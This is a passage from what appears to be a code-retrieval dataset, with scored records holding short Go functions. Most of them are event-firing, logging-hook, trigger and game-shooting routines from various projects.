FireEvent(e Event) {\n\n\t// Panic recovery\n\tdefer func() {\n\t\tif r := recover(); r != nil {\n\t\t\tGM.Log.Error(r)\n\t\t}\n\t}()\n\n\tdef, ok := GM.Events.Load(e.Name)\n\n\tif !ok {\n\t\tGM.Log.Errorf(\"Unable to locate a triggered event %s\", e.Name)\n\t\treturn\n\t}\n\n\tdefinition := def.(EventDefinition)\n\n\tif err := definition.Validate(e.Data); err != nil {\n\t\tGM.Log.Error(\"Unable to send message as it does not adhere to schema\")\n\t\tGM.Log.Error(err)\n\t\treturn\n\t}\n\n\tgo GM.Server.SendToChannels(e, definition)\n}", "title": "" }, { "docid": "b2ae8d55cab5166603149d21f5343fe5", "score": "0.49137187", "text": "func (c *CardWeather) Play(p *Player, target Card) {\n\tc.PutOnTable(p)\n}", "title": "" }, { "docid": "9e95d9668dee561f115d77f4a603cd8d", "score": "0.4885897", "text": "func (hook *Hook) Fire(entry *log.Entry) error {\n\tline, err := entry.Bytes()\n\tif err != nil {\n\t\treturn err\n\t}\n\t_, err = hook.Writer.Write(line)\n\treturn err\n}", "title": "" }, { "docid": "c1ff2debcd96ac8855bcd5b1796e2a1f", "score": "0.48837626", "text": "func Trigger(name string, params M) (error, Event) {\n\treturn std.Fire(name, params)\n}", "title": "" }, { "docid": "2723c713ad3d6acb86010403c318caf9", "score": "0.47989148", "text": "func (mt Mousetrap) Trigger(keys string) {\n\tmt.Call(\"trigger\", keys)\n}", "title": "" }, { "docid": "fc2097d4ff903223f051a42b4e64920c", "score": "0.47932515", "text": "func (hook *AtsHook) Fire(entry *logrus.Entry) error {\n\n\trowKey := strconv.FormatInt(int64(entry.Time.UnixNano()), 10)\n\ttableEntry := hook.table.GetEntityReference(\"logrus\",rowKey )\n\tprops := make(map[string]interface{})\n\n\t// technically dont need to make since entry.Data is already a map to interface. But will keep mapping here incase it changes.\n\tfor k,v := range entry.Data {\n\t\tprops[k] = v\n\t}\n\tprops[timestampID] = entry.Time.UTC()\n\tprops[levelID] = entry.Level.String()\n\tprops[messageID] = entry.Message\t\n\ttableEntry.Properties = props\n\terr := tableEntry.Insert(storage.EmptyPayload, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\t\n\treturn nil\n}", "title": "" }, { "docid": "c9b59ed3389a8d05023554fc6911d417", "score": "0.47910875", "text": "func (hooks ActionTypeHooks) Fire(ac ActionType, entry *Entry) error {\n\tfor _, hook := range hooks[ac] {\n\t\tif err := hook.Fire(entry); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "a9585b550beee1df72cf0ea9e0415b82", "score": "0.47887474", "text": "func (m *Missile) Spawn(team string, x float64, y float64, yvel float64) {\n\tm.Active = true\n\tm.Team = team\n\tm.Xpos = x\n\tm.Ypos = y\n\tm.Yvel = yvel\n}", "title": "" }, { "docid": "de36fbc9bb9d9ea12a7314c4587ffaab", "score": "0.47859812", "text": "func (h *Hook) Fire(entry *logrus.Entry) error {\n\t//TODO: should I map more of these fields over? like err?\n\tevent := map[string]interface{}{\n\t\t\"message\": entry.Message,\n\t\t\"time\": entry.Time.String(),\n\t\t\"level\": entry.Level.String(),\n\t}\n\tfor k, v := range entry.Data {\n\t\tevent[k] = v\n\t}\n\n\terr := h.Client.Log(\n\t\tevent,\n\t)\n\treturn err\n}", "title": "" }, { "docid": "e288991f5a306da1a26d4b969190a81f", "score": "0.47751996", "text": "func (ef *EmptyField) Interact(player *Player) {\n\tplayer.X = ef.X\n\tplayer.Y = ef.Y\n}", "title": "" }, { "docid": "882dbe3749f04eb646a95a1d85ff83f9", "score": "0.47690713", "text": "func (t *RepeatTimer) fireRoutine(ch <-chan time.Time, quit <-chan struct{}) {\n\tfor {\n\t\tselect {\n\t\tcase tick := <-ch:\n\t\t\tselect {\n\t\t\tcase t.ch <- tick:\n\t\t\tcase <-quit:\n\t\t\t\treturn\n\t\t\t}\n\t\tcase <-quit: // NOTE: `t.quit` races.\n\t\t\treturn\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e9793fa0984b075b4b1ce025b23a6d6d", "score": "0.47618473", "text": "func (f *field) shoot(aim coord) (bool, *ship) {\n\tfor _, s := range f.ships {\n\t\tfor _, c := range s.spaces {\n\t\t\tif c == aim {\n\t\t\t\ts.holes = append(s.holes, aim)\n\t\t\t\treturn true, &s\n\t\t\t}\n\t\t}\n\t}\n\treturn false, &ship{}\n}", "title": "" }, { "docid": "60cb7c38bff4300e8cfefc131ed0f523", "score": "0.475334", "text": "func (h *PrometheusHook) Fire(e zapcore.Entry) error {\n\th.counter.WithLabelValues(e.Level.String()).Inc()\n\treturn nil\n}", "title": "" }, { "docid": "a1076cca8f4563f5d525880ee7d0b81e", "score": "0.47530547", "text": "func (t *ForecastFog) Execute(ctx *graphflow.ExecutionContext) error {\n\tctx.Set(\"Forecast\", \"Fog\")\n\treturn nil\n}", "title": "" }, { "docid": "e4d90b0d070936a9268402e963f6b76e", "score": "0.47360253", "text": "func (hook *Hook) Fire(entry *logrus.Entry) error {\n\tlog := entryToLog(entry)\n\treturn hook.cls.Log(log)\n}", "title": "" }, { "docid": "2acbaeebe74fd0f9c052701e305fefdf", "score": "0.47289398", "text": "func (h logHook) Fire(entry *logrus.Entry) error {\n\ttask, ok := entry.Data[\"task\"]\n\tif !ok {\n\t\ttask = constants.DevLoop\n\t}\n\tsubtask, ok := entry.Data[\"subtask\"]\n\tif !ok {\n\t\tsubtask = constants.SubtaskIDNone\n\t}\n\n\thandler.handleSkaffoldLogEvent(&proto.SkaffoldLogEvent{\n\t\tTaskId: fmt.Sprintf(\"%s-%d\", task, handler.iteration),\n\t\tSubtaskId: fmt.Sprintf(\"%s\", subtask),\n\t\tLevel: levelFromEntry(entry),\n\t\tMessage: fmt.Sprintf(\"%s\\n\", entry.Message),\n\t})\n\treturn nil\n}", "title": "" }, { "docid": "e7244beac3c4c2630efb262b6cce7215", "score": "0.4720183", "text": "func (srv *HttpServer) Fire(moudle, name string, source, data interface{}, context *HttpContext) {\n\n\tvar e *EventContext\n\n\tfor _, sub := range Subscribers {\n\t\tif (sub.Moudle == _any || sub.Moudle == moudle) && (sub.Name == _any || sub.Name == name) {\n\t\t\tif e == nil {\n\t\t\t\te = &EventContext{\n\t\t\t\t\tMoudle: moudle,\n\t\t\t\t\tName: name,\n\t\t\t\t\tSource: source,\n\t\t\t\t\tData: data,\n\t\t\t\t\tContext: context,\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tsub.Handler.On(e)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e4c8115f0a7091379d8866899d572810", "score": "0.47084206", "text": "func (lb *LogBuffer) Fire(entry *logrus.Entry) error {\n\tlb.write(&Entry{\n\t\tMessage: logrusMessageAndData(entry),\n\t\tTime: entry.Time,\n\t\tLevel: entry.Level,\n\t})\n\treturn nil\n}", "title": "" }, { "docid": "5d9fcd72e590eedc0d08c84b751df10f", "score": "0.46955547", "text": "func (po *PerceptronOutput) Fire(val float64) {\n\tif val >= 1.0 {\n\t\tpo.OutChan <- 1.0\n\t} else {\n\t\tpo.OutChan <- 0.0\n\t}\n}", "title": "" }, { "docid": "4b8c6db0950582889458633abaa4afdc", "score": "0.46947217", "text": "func FireEQ(v time.Time) predicate.CloudEvents {\n\treturn predicate.CloudEvents(func(s *sql.Selector) {\n\t\ts.Where(sql.EQ(s.C(FieldFire), v))\n\t})\n}", "title": "" }, { "docid": "ac089160f4986999db50df27f8b344ec", "score": "0.4693885", "text": "func (hooks LevelHooks) Fire(level Level, entry *Entry) error {\n\tfor _, hook := range hooks[level] {\n\t\tif err := hook.Fire(entry); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "3f5ce9ea8b7c006c719e050890029969", "score": "0.46743524", "text": "func (cycle *Cycle) Trigger() {\n\tcycle.sendControl(cycleTrigger{})\n}", "title": "" }, { "docid": "e467c003110169d52c2c249bba4e2e88", "score": "0.46546674", "text": "func (em *EventManager) Fire(e Event) {\n\tif _, found := em.subscriber[e]; found {\n\t\tfor _, fn := range em.subscriber[e] {\n\t\t\tfn()\n\t\t}\n\n\t}\n}", "title": "" }, { "docid": "9b34c4e073aa9a4938d053b07196e9c3", "score": "0.4649611", "text": "func (p *pacmanStruct) TriggerEffect(el GameElement) {\n\tp.alive = false\n\tp.moving = false\n\tp.game.SetLives(p.game.Lives() - 1)\n\tp.SetIcon(deadIcon)\n}", "title": "" }, { "docid": "2b498d514d5fe11717aa85f7c84c1898", "score": "0.46481594", "text": "func (h WarnHook) Fire(e *log.Entry) error {\n\tline, err := h.formatter.Format(e)\n\tif err == nil {\n\t\th.out.Write(line)\n\t}\n\treturn err\n}", "title": "" }, { "docid": "593c44b30f615211c082ee0e7127b27d", "score": "0.46428508", "text": "func FireEvent(e Event) error {\n\treturn std.FireEvent(e)\n}", "title": "" }, { "docid": "d444b68e266cc0d058f0b1d973930a80", "score": "0.46385518", "text": "func (hook *Hook) Fire(entry *logrus.Entry) error {\n\tsource, function := hook.Formatter(findCaller(hook.Skip))\n\tentry.Data[hook.AppField] = hook.AppName\n\tentry.Data[hook.SourceField] = source\n\tentry.Data[hook.FunctionField] = fmt.Sprintf(\"%s%s\", hook.Prefix, function)\n\treturn nil\n}", "title": "" }, { "docid": "5e5719467ea38289cbf240ebb5d9e975", "score": "0.46347475", "text": "func (i *MultiInterval[T]) FireNow(key T) {\n\tselect {\n\tcase i.fire <- key:\n\tcase <-i.done:\n\t}\n}", "title": "" }, { "docid": "f1852ac9f4efe9c3ba6b4307e68bf52c", "score": "0.4629335", "text": "func (hook *MailAuthHook) Fire(entry *logrus.Entry) error {\n\tauth := smtp.PlainAuth(\"\", hook.Username, hook.Password, hook.Host)\n\n\tmessage := createMessage(entry, hook.AppName)\n\n\t// Connect to the server, authenticate, set the sender and recipient,\n\t// and send the email all in one step.\n\terr := smtp.SendMail(\n\t\thook.Host+\":\"+strconv.Itoa(hook.Port),\n\t\tauth,\n\t\thook.From.Address,\n\t\t[]string{hook.To.Address},\n\t\tmessage.Bytes(),\n\t)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "9951564c58ffec75a4fb47080eb59f8c", "score": "0.46237907", "text": "func (p *Player) Send(ctx context.Context, e *event.Event) error {\n\te.UserID = p.ID\n\treturn p.proxy.Send(ctx, e)\n}", "title": "" }, { "docid": "8f5f0eaafc2c50675f72b51db37390bb", "score": "0.46168453", "text": "func (h *LoggingHook) Fire(entry *logrus.Entry) error {\n\tgo func() {\n\t\tlog := &LogEvent{\n\t\t\tModuleName: os.Getenv(\"MODULE_SVC_NAME\"),\n\t\t\tLevel: entry.Level.String(),\n\t\t\tMessage: entry.Message,\n\t\t\tCaller: entry.Caller.Func.Name(),\n\t\t\tTime: entry.Time,\n\t\t}\n\n\t\t_, err := internal.MakeRequest(\"POST\", \"logevent\", log)\n\n\t\tif err != nil {\n\t\t\tfmt.Println(err)\n\t\t\treturn\n\t\t}\n\t}()\n\treturn nil\n}", "title": "" }, { "docid": "60025c07d43841d3da90c3dbae318fb5", "score": "0.4612945", "text": "func (s *Ship) Update(dt float64) {\n\tstage := s.stage\n\twin := stage.win\n\n\ts.fireCooldown -= dt\n\n\tif win.Pressed(pixelgl.KeyA) || win.Pressed(pixelgl.KeyLeft) {\n\t\ts.rotateLeft(dt)\n\t}\n\n\tif win.Pressed(pixelgl.KeyD) || win.Pressed(pixelgl.KeyRight) {\n\t\ts.rotateRight(dt)\n\t}\n\n\tif win.Pressed(pixelgl.KeyW) || win.Pressed(pixelgl.KeyUp) {\n\t\ts.thrust(dt)\n\t}\n\n\tif s.fireCooldown <= 0.0 && (win.Pressed(pixelgl.KeyS) || win.Pressed(pixelgl.KeyDown) || win.Pressed(pixelgl.KeySpace)) {\n\t\t// Limit the firing rate.\n\t\ts.fireCooldown = 0.1\n\n\t\tvector := pixel.Unit(s.rotation + math.Pi/2)\n\t\tposition := s.position.Add(vector.Scaled(25))\n\t\tvelocity := s.velocity.Add(vector.Scaled(5))\n\t\tmakeShot(position, velocity, stage, s.game)\n\t}\n\n\ts.WrapAroundActor.Update(dt)\n\n\t// Check for collision with a rock.\n\tfor _, actor := range stage.actors {\n\t\tif actor.Kind() == \"rock\" && intersects(s, actor) {\n\t\t\tstage.RemoveActor(s)\n\n\t\t\t// TODO: explode ship\n\n\t\t\trock := actor.(*Rock)\n\t\t\trock.subdivide()\n\t\t\tbreak\n\t\t}\n\t}\n}", "title": "" }, { "docid": "02860e930543b52d04b981fe7576d809", "score": "0.4601169", "text": "func (self *Camera) Shake4O(intensity float64, duration int, force bool, direction int) bool{\n return self.Object.Call(\"shake\", intensity, duration, force, direction).Bool()\n}", "title": "" }, { "docid": "25219b9f6a99f3164365f369f2327c5e", "score": "0.45999423", "text": "func (b *batch) trigger() {\n\tb.start.Do(b.run)\n}", "title": "" }, { "docid": "d615b29411240b7f9c7fd76b8cddfab6", "score": "0.45922112", "text": "func (s secretAgent) shoot() {\n\tfmt.Printf(\"%v fired a shot!\\n\", s.first)\n}", "title": "" }, { "docid": "763e8074ef33b3019a1a1d7ea426e1f1", "score": "0.45905083", "text": "func (e *eventHook) Fire(entry *logrus.Entry) error {\n\tmsg, err := entry.String()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tswitch entry.Level {\n\tcase logrus.WarnLevel:\n\t\te.logger.Warning(msg)\n\tcase logrus.FatalLevel:\n\t\te.logger.Error(msg)\n\tdefault:\n\t\te.logger.Info(msg)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "ab87bfef2c6581322f790c86f853971c", "score": "0.4577607", "text": "func (hook *Hook) Fire(entry *log.Entry) error {\n\tline, err := entry.Bytes()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ts := stripColor(string(line))\n\t_, err = hook.Writer.Write([]byte(s))\n\treturn err\n}", "title": "" }, { "docid": "e38b76e119be7a2b195bf4b880d1ee94", "score": "0.45202616", "text": "func _trigger(args List, context *Context) Data {\r\n\teventDef := args.Second().(*UserEventDefinition)\r\n\teventBus := context.LookUp(Symbol{\"$events\"}).(NativeObject).Value.(*events.EventBus)\r\n\r\n\tevent := new(UserEvent)\r\n\tevent.Definition = eventDef\r\n\r\n\t// TODO: Assign arguments\r\n\r\n\teventBus.Trigger(event, args.First().(*Entity))\r\n\r\n\treturn Nothing{}\r\n}", "title": "" }, { "docid": "ac605d33fd529f7721c139e9b1110b18", "score": "0.45183003", "text": "func (h *UDPHook) Fire(e *logrus.Entry) error {\n\tif len(h.UUID) > 0 {\n\t\te.Data[\"uuid\"] = h.UUID\n\t\tdefer delete(e.Data, \"uuid\")\n\t}\n\treturn h.b.Fire(e)\n}", "title": "" }, { "docid": "8f97a20decaeaa0511bdb314703801d5", "score": "0.4512143", "text": "func FireIn(vs ...time.Time) predicate.CloudEvents {\n\tv := make([]interface{}, len(vs))\n\tfor i := range v {\n\t\tv[i] = vs[i]\n\t}\n\treturn predicate.CloudEvents(func(s *sql.Selector) {\n\t\t// if not arguments were provided, append the FALSE constants,\n\t\t// since we can't apply \"IN ()\". This will make this predicate falsy.\n\t\tif len(v) == 0 {\n\t\t\ts.Where(sql.False())\n\t\t\treturn\n\t\t}\n\t\ts.Where(sql.In(s.C(FieldFire), v...))\n\t})\n}", "title": "" }, { "docid": "c9a23901cecc4f2abd27e378476b851e", "score": "0.4495048", "text": "func (p *projectile) Launch() {\n\tstep := float64(0.1)\n\ttime := float64(0)\n\tvcx := float64(0)\n\tvcy := float64(0)\n\tinFlight := true\n\tfor inFlight {\n\t\tvcx = Displacement(p.vx, time, 0.0) // current x displacement\n\t\tvcy = Displacement(p.vy, time, Gravity) // current y displacement\n\t\tfmt.Printf(\"time %0.2f, vx %2.3f, vy %2.3f\\n\", time, vcx, vcy)\n\t\ttime = time + step\n\t\tif vcy < 0 {\n\t\t\tinFlight = false\n\t\t}\n\t}\n}", "title": "" }, { "docid": "d466e117d20e4ea78d3c99aea69ab0e7", "score": "0.44931898", "text": "func (hook *MailHook) Fire(entry *logrus.Entry) error {\n\twc, err := hook.c.Data()\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer wc.Close()\n\tmessage := createMessage(entry, hook.AppName)\n\tif _, err = message.WriteTo(wc); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "10272b71c48478087121e3b77aa8ca30", "score": "0.4488703", "text": "func (h *sysLogHook) Fire(e *logrus.Entry) (err error) {\n\tformatter := e.Logger.Formatter\n\n\te.Logger.Formatter = h.formatter\n\n\terr = h.shook.Fire(e)\n\n\te.Logger.Formatter = formatter\n\n\treturn err\n}", "title": "" }, { "docid": "af6abac630efd3264e8d62cf0b68f043", "score": "0.44622517", "text": "func ExampleFireForgetPublisher() {\n\tctx := context.Background()\n\n\turl := \"amqp://guest:guest@127.0.0.1:5672/\"\n\n\tconn := rabbitroutine.NewConnector(rabbitroutine.Config{\n\t\t// Max reconnect attempts\n\t\tReconnectAttempts: 20000,\n\t\t// How long wait between reconnect\n\t\tWait: 2 * time.Second,\n\t})\n\n\tpool := rabbitroutine.NewLightningPool(conn)\n\tpub := rabbitroutine.NewFireForgetPublisher(pool)\n\n\tgo func() {\n\t\terr := conn.Dial(ctx, url)\n\t\tif err != nil {\n\t\t\tlog.Println(\"failed to establish RabbitMQ connection:\", err)\n\t\t}\n\t}()\n\n\tfor i := 0; i < 5000; i++ {\n\t\ttimeoutCtx, cancel := context.WithTimeout(ctx, 100*time.Millisecond)\n\n\t\terr := pub.Publish(timeoutCtx, \"myexch\", \"myqueue\", amqp.Publishing{\n\t\t\tBody: []byte(fmt.Sprintf(\"message %d\", i)),\n\t\t})\n\t\tif err != nil {\n\t\t\tlog.Println(\"failed to publish:\", err)\n\t\t}\n\n\t\tcancel()\n\t}\n}", "title": "" }, { "docid": "43a44a33ada63748f4221305ef54ccec", "score": "0.44597718", "text": "func (lg *LocalGateImpl) FireAfter(now time.Time) bool {\n\treturn lg.nextWakeupTime.After(now)\n}", "title": "" }, { "docid": "fc93f3ad6e823f179507f58be6fdc4bb", "score": "0.44569024", "text": "func (playerImpl *PlayerImpl) FireDepartments() []anarchy.FireDepartment {\n\treturn playerImpl.fireDepartmentsImpl\n}", "title": "" }, { "docid": "3cb9298bd25d7494da08dae775daa256", "score": "0.44515723", "text": "func (m *Metrics) Fire(e *logrus.Entry) error {\n\t(*m)[e.Level].Mark(1)\n\treturn nil\n}", "title": "" }, { "docid": "fc145ca13a48c5792a4970c048fb57a5", "score": "0.44503143", "text": "func (hook *contextHook) Fire(entry *log.Entry) error {\n\t// these two num are set by manually testing\n\tpc := make([]uintptr, 4)\n\tcnt := runtime.Callers(10, pc)\n\n\tfor i := 0; i < cnt; i++ {\n\t\tfu := runtime.FuncForPC(pc[i] - 1)\n\t\tname := fu.Name()\n\t\tif !isSkippedPackageName(name) {\n\t\t\tfile, line := fu.FileLine(pc[i] - 1)\n\t\t\tentry.Data[\"file\"] = path.Base(file)\n\t\t\tentry.Data[\"line\"] = line\n\t\t\tbreak\n\t\t}\n\t}\n\tstrEntry, err := entry.String()\n\tif err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"Unable to read entry, %v\", err)\n\t\treturn err\n\t}\n\tStrEntry = append(StrEntry, strEntry)\n\treturn nil\n}", "title": "" }, { "docid": "4fbe3631ce94082f00ea73b1e0f8baaf", "score": "0.44405964", "text": "func (hook *WriterHook) Fire(entry *logrus.Entry) error {\n\tline, err := entry.String()\n\tif err != nil {\n\t\treturn err\n\t}\n\t_, err = hook.Writer.Write([]byte(line))\n\treturn err\n}", "title": "" }, { "docid": "fb4358a08fdbe72101b08feda477ecce", "score": "0.44284335", "text": "func Trigger(keys string) {\n\tDefaultMousetrap.Trigger(keys)\n}", "title": "" }, { "docid": "a15b996aa033157693b8d400fd93d54c", "score": "0.43994927", "text": "func FireImmediately() {\n\tfor _, f := range jobs {\n\t\tgo f()\n\t}\n}", "title": "" }, { "docid": "87b511d46aeb7d102f30a55f94018224", "score": "0.43928564", "text": "func (self *Camera) FollowI(args ...interface{}) {\n self.Object.Call(\"follow\", args)\n}", "title": "" }, { "docid": "2bb0eeb088ee778ac8293e48a6d12b68", "score": "0.43899506", "text": "func (srv *Server) fireEvent(eventType string, in *jobs.Job, id *jobs.Id, user string) {\n\tevent := srv.newEventMsg(eventType, in, id, user)\n\treq := automate_event.PublishRequest{Msg: event}\n\t_, err := srv.eventsClient.Publish(context.Background(), &req)\n\tif err != nil {\n\t\tlogrus.Warnf(\"Error publishing scan job event: %v\", err)\n\t\treturn\n\t}\n}", "title": "" }, { "docid": "b3d7a24f6d4983f14b22614bdc6a2c3f", "score": "0.43742523", "text": "func (o *Tween) Tell() float64 {\n\tlog.Println(\"Calling Tween.Tell()\")\n\n\t// Build out the method's arguments\n\tgoArguments := make([]reflect.Value, 0, 0)\n\n\t// Call the parent method.\n\n\tgoRet := o.callParentMethod(o.baseClass(), \"tell\", goArguments, \"float64\")\n\n\treturnValue := goRet.Interface().(float64)\n\n\tlog.Println(\" Got return value: \", returnValue)\n\treturn returnValue\n\n}", "title": "" }, { "docid": "d35c88b0ffcde5356734a494df8ed1f8", "score": "0.4374118", "text": "func (f *Food) shiftToNewPosition() {\n\tw, h := board.Rectangle.Size()\n\n\tx := rand.Intn((w-1)-1) + 1\n\ty := rand.Intn((h-1)-1) + 1\n\n\tf.coord = coordinate{x: x, y: y}\n\n\tf.SetPosition(x, y)\n}", "title": "" }, { "docid": "be313c1c38a428709c026e6ee8de0ac5", "score": "0.43701795", "text": "func (game *Game) FIGHT(playerId int, x int, y int) (bool, bool) {\n\tif game.turn == playerId {\n\t\tif game.players[playerId].Shoot(game.otherPlayer(playerId), x, y) {\n\t\t\tgame.turn=game.otherPlayer(playerId).Id\n\t\t\treturn true, true\n\t\t}\n\t\tgame.turn=game.otherPlayer(playerId).Id\n\t\treturn true, false\n\t}\n\treturn false, false\n}", "title": "" }, { "docid": "594fe0fb38a4d7cef8a4bc07fb12eadf", "score": "0.4369248", "text": "func (p *Player) HitPlayer(ph *Player, height float64, width float64) {\n\tinitalVelocity := p.Velocity\n\n\t//Calculate player's new velocity\n\tp.Velocity.Dx = (p.Velocity.Dx * -VelocityTransferFactor) + (ph.Velocity.Dx * VelocityTransferFactor)\n\tp.Velocity.Dy = (p.Velocity.Dy * -VelocityTransferFactor) + (ph.Velocity.Dy * VelocityTransferFactor)\n\t//We add one position update so that multiple collision events don't occur for a single bump\n\tp.Position.X += p.Velocity.Dx\n\tp.Position.Y += p.Velocity.Dy\n\n\t//Calculate the player you hits new velocity (and again one position update)\n\tph.Velocity.Dx = (ph.Velocity.Dx * -VelocityTransferFactor) + (initalVelocity.Dx * VelocityTransferFactor)\n\tph.Velocity.Dy = (ph.Velocity.Dy * -VelocityTransferFactor) + (initalVelocity.Dy * VelocityTransferFactor)\n\tph.Position.X += ph.Velocity.Dx\n\tph.Position.Y += ph.Velocity.Dy\n\n\tp.checkWalls(height, width)\n}", "title": "" }, { "docid": "e222908471553dfdfd3957a2e23d09e6", "score": "0.43672442", "text": "func (f *Field) PlaceFood() {\n\t// Declare x and y coord for the rand food drop\n\tvar randCoord Coordinate\n\n\tfor {\n\t\tx := rand.Intn(fieldWidth - 2) + 1\n\t\ty := rand.Intn(fieldHeight - 2) + 1\n\n\t\trandCoord = Coordinate{x: x, y: y}\n\t\tif f.snake.AvailablePosition(randCoord) {\n\t\t\tif f.points >= 500 {\n\t\t\t\tif f.NotInObsPosition(randCoord) {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\n\tf.food = DropFoodAt(randCoord)\n}", "title": "" }, { "docid": "4dd44065cd47b39bee2e507df9fd4349", "score": "0.43660277", "text": "func (r Robot) Hear(pat string, lfunc lua.LValue) {\n\tnewMsgCallback(r.ID, pat, lfunc, false)\n}", "title": "" }, { "docid": "b96d22425deba69eaa046a06b5baaed0", "score": "0.43591812", "text": "func NewFireService(logger zerolog.Logger, db *gorm.DB) *FireService {\n\treturn &FireService{\n\t\tlogger.With().Str(\"services\", \"fire\").Logger(),\n\t\tdb,\n\t}\n}", "title": "" }, { "docid": "45cc2365a28deda0ff23fc6b6758732e", "score": "0.43471313", "text": "func FireEvent(name string, data ...interface{}) {\r\n\thandlers, ok := EventHandlers[name]\r\n\r\n\tif ok {\r\n\t\tupdateScriptingContext()\r\n\t\tscriptingProfiler.StartInvocation()\r\n\t\tfor _, v := range handlers {\r\n\t\t\tv.Call(v, data)\r\n\t\t}\r\n\t\tscriptingProfiler.StopInvocation()\r\n\t}\r\n}", "title": "" }, { "docid": "33380f55b0900120960dd6b5d3759eea", "score": "0.43461317", "text": "func (cell *Cell) hit() {\n\tif cell.ship != nil {\n\t\tcell.ship.hit()\n\t}\n\tcell.Hit = true\n}", "title": "" }, { "docid": "721416ee1b52881f65848c239eec305d", "score": "0.43438444", "text": "func (s *StarvingBehaviour) Act(time time.Time, entity interface{}) {\n\n\t// starving behaviour only works on living entities\n\tswitch entity.(type) {\n\tcase LivingEntity:\n\t\tvar livingEntity = entity.(LivingEntity)\n\t\ts.repletion -= s.StarvingRate\n\n\t\tif s.repletion <= 0 {\n\t\t\tfmt.Println(livingEntity.ID(), \" starved to dead.\")\n\t\t}\n\t\tif s.repletion > 100 {\n\t\t\tfmt.Println(livingEntity.ID(), \" is well fed.\")\n\t\t}\n\tdefault:\n\t\tfmt.Println(\"Error: StarvingBehaviour is not supported on entity type \", entity)\n\t}\n}", "title": "" }, { "docid": "7d82430ea5581a1601931adb6c8126d5", "score": "0.43409175", "text": "func event_monster_movement() {\n\n}", "title": "" }, { "docid": "e46540280dd1ce92aef3c3142972ace7", "score": "0.43359128", "text": "func (m *FSM) CallForWarrior() error {\n\tif m.LastNotify != nil && m.LastNotify.Add(m.Config.CallInterval).After(time.Now()) {\n\t\treturn nil\n\t}\n\tuserList := UserMapToList(m.Users)\n\tmessage := \"Hi trash agents, it's time to escort trash cans. \" +\n\t\t`Reply \"me\" to take this mission.` + \"\\nLeaderboard:\\n\" +\n\t\tstats(userList)\n\treturn m.NotifyUsers(userList, message)\n}", "title": "" }, { "docid": "c485da921984dd007dc4c0359dacf6e0", "score": "0.43284592", "text": "func (l *OCLogger) Fire(e *logger.Entry) error {\n\t// Store all log messages to return back in the logging API\n\tl.mu.Lock()\n\tdefer l.mu.Unlock()\n\n\t// Append to log entries\n\tif len(l.Entries) > maxLogEntries {\n\t\tl.Entries = l.Entries[1:]\n\t}\n\tl.Entries = append(l.Entries, *e)\n\n\tif e.Level <= logger.WarnLevel {\n\t\tif len(l.Warnings) > maxLogEntries {\n\t\t\tl.Warnings = l.Warnings[1:]\n\t\t}\n\t\tl.Warnings = append(l.Warnings, *e)\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "ae20fa51a74d85bd4163dac957cd62d7", "score": "0.43280587", "text": "func FireGTE(v time.Time) predicate.CloudEvents {\n\treturn predicate.CloudEvents(func(s *sql.Selector) {\n\t\ts.Where(sql.GTE(s.C(FieldFire), v))\n\t})\n}", "title": "" }, { "docid": "4a2560eb9331182c90749dd7586d1b4f", "score": "0.43242106", "text": "func (pn *petriNode) prepareFire(baseMsg petriMessage) {\n\tfmt.Println(\"PRERAREFIRE METH CALLED\")\n\tpn.needsToCheckForConflictedState = false\n\tpn.didFire = false\n\ttransition, peerAddr := pn.selectTransition()\n\tif transition == nil {\n\t\tfmt.Println(\"_NO TRANSITION TO SELECT\")\n\t\tpn.resetStep()\n\t\t// will retry with next priority\n\t\tif pn.priorityToAsk < pn.maxPriority {\n\t\t\tpn.priorityToAsk++\n\t\t\tif pn.priorityToAsk == pn.maxPriority {\n\t\t\t\tpn.requestTemporalPlacesRollback(baseMsg)\n\t\t\t\tpn.didFire = true\n\t\t\t\tpn.needsToCheckForConflictedState = true\n\t\t\t}\n\t\t} else {\n\t\t\tpn.priorityToAsk = 0\n\t\t}\n\t} else {\n\t\tpn.chosenTransition = transition\n\t\tpn.chosenTransitionAddress = peerAddr\n\t\tpn.verifiedRemoteAddrs = []string{}\n\t\tpn.marks = make(map[string]map[int]*petrinet.RemoteArc)\n\t\trmtTransitionOption, ok := pn.remoteTransitionOptions[peerAddr][transition.ID]\n\t\tfmt.Printf(\"CHOSEN TRANSITION %v\\nCHOSEN ADDR %v\\n\", transition, peerAddr)\n\t\tif ok {\n\t\t\tfmt.Println(\"WILL FIRE REMOTE TRANSITION\")\n\t\t\tcopy := *rmtTransitionOption // get a copy\n\t\t\tremoteTransition := &copy // pointer to the copy\n\t\t\tfmt.Printf(\"REMOTE TRANSITION TO FIRE B4 UPDATE BY CTX: %v\\n\", remoteTransition)\n\t\t\tpn.chosenRemoteTransition = remoteTransition\n\t\t\tif peerAddr != UNIVERSAL_PN {\n\t\t\t\tremoteTransition.UpdateAddressByContext(pn.contextToAddrs, peerAddr)\n\t\t\t}\n\t\t\tfmt.Printf(\"CTX TO ADDRS: %v\\n\", pn.contextToAddrs)\n\t\t\tfmt.Printf(\"REMOTE TRANSITION TO FIRE AFTER UPDATE BY CTX: %v\\n\", remoteTransition)\n\t\t\taskedAddrs, err := pn.askForMarks(remoteTransition, peerAddr == UNIVERSAL_PN, baseMsg)\n\t\t\tfmt.Println(askedAddrs)\n\t\t\tif err != nil {\n\t\t\t\tpn.removeTransitionOption(pn.chosenTransitionAddress, pn.chosenTransition)\n\t\t\t\tpn.step = PREPARE_FIRE_STEP\n\t\t\t} else {\n\t\t\t\tpn.addressMissing = askedAddrs\n\t\t\t\tpn.incStep() // RECEIVING_MARKS_STEP\n\t\t\t\tif 